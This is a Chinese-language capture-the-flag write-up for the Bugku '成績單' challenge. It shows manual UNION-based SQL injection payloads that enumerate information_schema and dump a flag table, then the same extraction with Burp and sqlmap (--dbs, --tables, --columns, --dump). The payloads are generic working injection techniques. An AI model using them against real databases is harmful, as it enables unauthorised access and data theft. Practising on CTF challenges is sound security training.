bugku-成績單 題目地址
手工注入:
①看到題目,分別提交1,2,3,出現不同的成績單,可見參數我們是可以控制,通過POST的方式。
②我們嘗試輸入1 and 1=1#
和1 and 1=2#
發現不報錯,應該不是數字型注入。我們輸入1',報錯,這個數字(id)被'
保護起來了。猜測SQL語句:~~~~where id ='$id';我們繼續輸入1' and 1=1#
;和1' and 1=2#
,發現前邊沒錯,后邊的錯了,到了這里 注入點就找到了。
順便獲取有幾個顯示位。
到5報錯,說明有四個可能回顯的位置。
union select 1,2,3,4#
四個位置全部可以回顯查詢的內容。
③查找所有的數據庫,輸入-1' union select 1,2,3,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA#
。
獲得了所有數據庫,不過肯定是普通用戶,還是只有查看的權限。查詢下user()
④查找skctf_flag下的表。-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='skctf_flag'#
⑤查看fl4g下的列名。-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='fl4g'#
⑥ 查看skctf_flag下的內容。-1' union select 1,2,3,skctf_flag from skctf_flag.fl4g#
SQLMAP跑:
①首先,開burp截包。
②輸入1,提交。
可以看見,burp已經把id獲取到了
③copy to file,保存為txt文件。
把這個txt放置到sqlmap的目錄下邊。
④打開sqlmap,shift+鼠標右鍵打開命令行。python sqlmap.py -r a.txt
(a.txt如果沒有放到sqlmap目錄就用絕對路徑)。
可以看到,存在的注入類型(union查詢和基於時間的盲注)和payload和數據庫類型和版本都給你報出來了。
然后剩下的參數就基本和跑get型注入差不多了。
⑤獲取所有數據庫。python sqlmap.py -r a.txt --dbs
⑥獲取skctf_flag下所有的表。python sqlmap.py -r a.txt -D skctf_flag --tables
⑦獲取fl4g下所有的列。python sqlmap.py -r a.txt -D skctf_flag -T fl4g --columns
⑧獲取列skctf_flag下的內容。python sqlmap.py -r a.txt -D skctf_flag -T fl4g -C "skctf_flag" --dump